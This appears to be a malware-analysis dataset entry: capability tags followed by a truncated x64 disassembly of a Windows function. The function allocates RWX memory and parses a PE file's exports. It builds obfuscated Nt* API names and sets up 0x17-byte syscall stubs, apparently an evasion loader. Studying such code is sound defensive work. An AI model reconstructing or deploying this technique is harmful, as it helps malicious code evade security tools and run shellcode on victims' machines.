Function at 0x1400036db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x2e90
call fcn.140014d60
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140013d90
mov dword [rbp + 0xbc], 0
mov qword [rbp + 0xb0], 0
mov rax, qword [0x1400d3050]
mov qword [rbp + 0xa0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2df8], eax
mov eax, dword [rbp + 0x2df8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2df0], rax
mov rax, qword [rbp + 0x2df0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2de8], rax
mov rax, qword [rbp + 0x2de8]
add rax, 0x17
mov qword [rbp + 0x2de0], rax
mov rax, qword [rbp + 0x2de0]
add rax, 0x17
mov qword [rbp + 0x2dd8], rax
mov rax, qword [rbp + 0x2dd8]
add rax, 0x17
mov qword [rbp + 0x2dd0], rax
mov rax, qword [rbp + 0x2dd0]
add rax, 0x17
mov qword [rbp + 0x2dc8], rax
mov rax, qword [rbp + 0x2dc8]
add rax, 0x17
mov qword [rbp + 0x2dc0], rax
mov rax, qword [rbp + 0x2dc0]
add rax, 0x17
mov qword [rbp + 0x2db8], rax
mov rax, qword [rbp + 0x2db8]
add rax, 0x17
mov qword [rbp + 0x2db0], rax
mov rax, qword [rbp + 0x2db0]
add rax, 0x17
mov qword [rbp + 0x2da8], rax
mov rax, qword [rbp + 0x2da8]
add rax, 0x17
mov qword [rbp + 0x2da0], rax
mov rax, qword [rbp + 0x2da0]
add rax, 0x17
mov qword [rbp + 0x2d98], rax
mov rax, qword [rbp + 0x2d98]
add rax, 0x17
mov qword [rbp + 0x2d90], rax
mov rax, qword [rbp + 0x2d90]
add rax, 0x17
mov qword [rbp + 0x2d88], rax
mov rax, qword [rbp + 0x2d88]
add rax, 0x17
mov qword [rbp + 0x2d80], rax
mov rax, qword [rbp + 0x2d80]
add rax, 0x17
mov qword [rbp + 0x2d78], rax
mov rax, qword [rbp + 0x2d78]
add rax, 0x17
mov qword [rbp + 0x2d70], rax
mov rax, qword [rbp + 0x2d70]
add rax, 0x17
mov qword [rbp + 0x2d68], rax
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x8f], 0
mov dword [rbp + 0x7c], 0
mov qword [rbp + 0x2d60], 0
mov dword [rbp + 0x2d5c], 0
mov dword [rbp + 0x78], 0
mov qword [rbp + 0x2d50], 0
mov rax, qword [rbp + 0x2de8]
mov qword [0x140104038], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2de8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2de0]
mov qword [0x140104040], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2de0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2dd8]
mov qword [0x140104048], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2dd8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2dd0]
mov qword [0x140104050], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2dd0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2dc8]
mov qword [0x140104058], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2dc8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2dc0]
mov qword [0x140104060], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2dc0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2db8]
mov qword [0x140104068], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2db8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2db0]
mov qword [0x140104070], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2db0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2da8]
mov qword [0x140104078], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2da8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2da0]
mov qword [0x140104080], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2da0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d98]
mov qword [0x140104088], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d98]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d90]
mov qword [0x140104090], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d90]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d88]
mov qword [0x140104098], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d80]
mov qword [0x1401040a0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d80]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d78]
mov qword [0x1401040a8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d78]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d70]
mov qword [0x1401040b0], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d70]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2d68]
mov qword [0x1401040b8], rax
lea rdx, [rbp + 0x7c]
mov rax, qword [rbp + 0x2d68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400d63d1]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2d60], rax
mov rax, qword [rbp + 0x2d60]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2d5c], eax
mov ebx, dword [rbp + 0x2d5c]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2d50], rax
lea r8, [rbp + 0x78]
mov ecx, dword [rbp + 0x2d5c]
mov rdx, qword [rbp + 0x2d50]
mov rax, qword [rbp + 0x2d60]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2d50]
mov qword [rbp + 0x2d48], rax
mov rax, qword [rbp + 0x2d48]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2d50]
add rax, rdx
mov qword [rbp + 0x2d40], rax
mov rax, qword [rbp + 0x2d40]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2d3c], eax
mov rax, qword [rbp + 0x2d40]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2d40]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2e08], rax
mov rax, qword [rbp + 0x2e08]
mov qword [rbp + 0x2d30], rax
mov rax, qword [rbp + 0x2e08]
mov qword [rbp + 0x2e00], rax
mov dword [rbp + 0x2dfc], 0
jmp 0x140003dd4
mov rax, qword [rbp + 0x2e08]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003dc5
mov rax, qword [rbp + 0x2e08]
mov qword [rbp + 0x2e00], rax
jmp 0x140003dea
add qword [rbp + 0x2e08], 0x28
add dword [rbp + 0x2dfc], 1
mov rax, qword [rbp + 0x2d40]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2dfc], eax
jl 0x140003d9b
mov edx, dword [rbp + 0x2d3c]
mov rax, qword [rbp + 0x2d50]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2e00]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x2d28], rax
lea rax, [rbp + 0x38f]
mov qword [rbp + 0x2d00], rax
nop
nop
lea rdx, [rbp + 0x38f]
lea rax, [rbp + 0x360]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x340]
lea rdx, [rbp + 0x360]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
lea r8, [0x1400d63fa]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x1400d6406]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x1400d640e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0xc0]
lea r8, [0x1400d6412]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x390]
mov rcx, qword [rbp + 0x2de8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x14000428c
lea rbx, [0x1400d6414]
jmp 0x140004293
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x63f]
mov qword [rbp + 0x2cf8], rax
nop
nop
lea rdx, [rbp + 0x63f]
lea rax, [rbp + 0x610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x1400d6406]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x1400d640e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x1400d6412]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x63f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x640]
mov rcx, qword [rbp + 0x2de0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x1400046d0
lea rbx, [0x1400d6414]
jmp 0x1400046d7
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x92f]
mov qword [rbp + 0x2cf0], rax
nop
nop
lea rdx, [rbp + 0x92f]
lea rax, [rbp + 0x900]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0x8e0]
lea rdx, [rbp + 0x900]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x1400d6434]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x1400d6400]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x1400d6406]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x1400d6408]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x1400d640c]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x1400d63fc]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x1400d640e]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x1400d6410]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x1400d63fe]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x1400d6412]
mov rcx, rax
call fcn.1400bd9c0
lea rdx, [rbp + 0x660]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400ada50
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x900]
mov rcx, rax
call fcn.1400ada10
lea rax, [rbp + 0x92f]
mov rcx, rax
call fcn.14009ede0
nop
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400acd40
mov r9, qword [rbp + 0x2d30]
mov r8, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d28]
lea rax, [rbp + 0x930]
mov rcx, qword [rbp + 0x2dd8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2e00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2d24], eax
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400ada10
cmp dword [rbp + 0x2d24], 0
je 0x140004b6c
lea rbx, [0x1400d6414]
jmp 0x140004b73
lea rbx, [0x1400d6419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.140035820
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xb5f]
mov qword [rbp + 0x2ce8], rax
nop
nop
lea rdx, [rbp + 0xb5f]
lea rax, [rbp + 0xb30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ad1e0
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x1400d6436]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1400d6402]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x1400d63f8]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x1400d6404]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x1400d6438]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x1400d643a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x1400d640a]
mov rcx, rax
call fcn.1400bd9c0
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x1400d6404]
mov rcx, rax
